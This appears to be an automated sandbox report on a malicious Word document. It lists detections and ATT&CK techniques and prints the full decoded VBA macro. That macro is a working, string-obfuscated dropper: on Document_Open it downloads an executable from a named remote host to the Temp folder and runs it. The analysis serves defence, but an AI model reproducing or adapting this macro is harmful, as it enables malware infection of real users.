MALICIOUS
298
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File: User Execution
T1059 Command and Scripting Interpreter
The sample contains VBA macros that utilize the URLDownloadToFile API, indicating an attempt to download a file from a remote URL. The document body explicitly instructs the user to 'CLICK OPTION/ENABLE CONTENT' to view the document, a common social engineering tactic. The script attempts to download a file named 'pym.fstgy' to the user's temporary directory from 'www.ebatechcorp.com/wp-includes/SimplePie/Content/Type/pym.fstgy'.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell TZGKAKGT, vbNormalFocus -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FXNCJMZI As Long, ByVal RCOIZAZB As String, _ -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
TZGKAKGT = Environ("Temp") & "\" & "pym.fstgy" -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3994 bytes |
SHA-256: 6ddfa358844cd6e7d720aaf005dfa121848e49f4c22b963d227c77bba0b0aada |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FXNCJMZI As Long, ByVal RCOIZAZB As String, _
ByVal SSCSWOKE As String, _
ByVal TWWNEQWS As Long, ByVal CUECWDKU As Long)
#Else
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FXNCJMZI As Long, ByVal RCOIZAZB As String, _
ByVal SSCSWOKE As String, _
ByVal TWWNEQWS As Long, ByVal CUECWDKU As Long)
#End If
Sub AutoNew()
Dim SettingsFile As String
Dim Order As String
Dim rRecNo As Range
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
If Order = "" Then
Order = 1
End If
End Sub
Sub Document_Open()
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
Dim sdfsd As String
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
sdfsd = 15
MZMJSQBE
End Sub
Sub MZMJSQBE()
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
Dim Order As String
Dim rRecNo As Range
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
If Order = "" Then
Order = 1
End If
HYMCNCBD = "www.ebatechcorp.com/wp-includes/SimplePie/Content/Type/pym.fstgy"
TZGKAKGT = Environ("Temp") & "\" & "pym.fstgy"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
If Order = "" Then
Order = 1
End If
HYMCNCBD0 = "h"
HYMCNCBD0 = HYMCNCBD0 + "t"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "t"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "p"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + ":"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "/"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "/"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + HYMCNCBD
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
HYMCNCBD0 = HYMCNCBD0 + "."
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "x"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HYMCNCBD0 = HYMCNCBD0 + "e"
AutoNew
TZGKAKGT = TZGKAKGT + "."
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
TZGKAKGT = TZGKAKGT + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
TZGKAKGT = TZGKAKGT + "x"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
TZGKAKGT = TZGKAKGT + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
AutoNew
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
URLDownloadToFileA 0, HYMCNCBD0, _
TZGKAKGT, 0, 0
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
AutoNew
If Len(Dir(TZGKAKGT)) > 0 Then
AutoNew
Shell TZGKAKGT, vbNormalFocus
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
End If
End Sub
Attribute VB_Name = "NewMacros"
Sub fstc()
'
' fstc Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.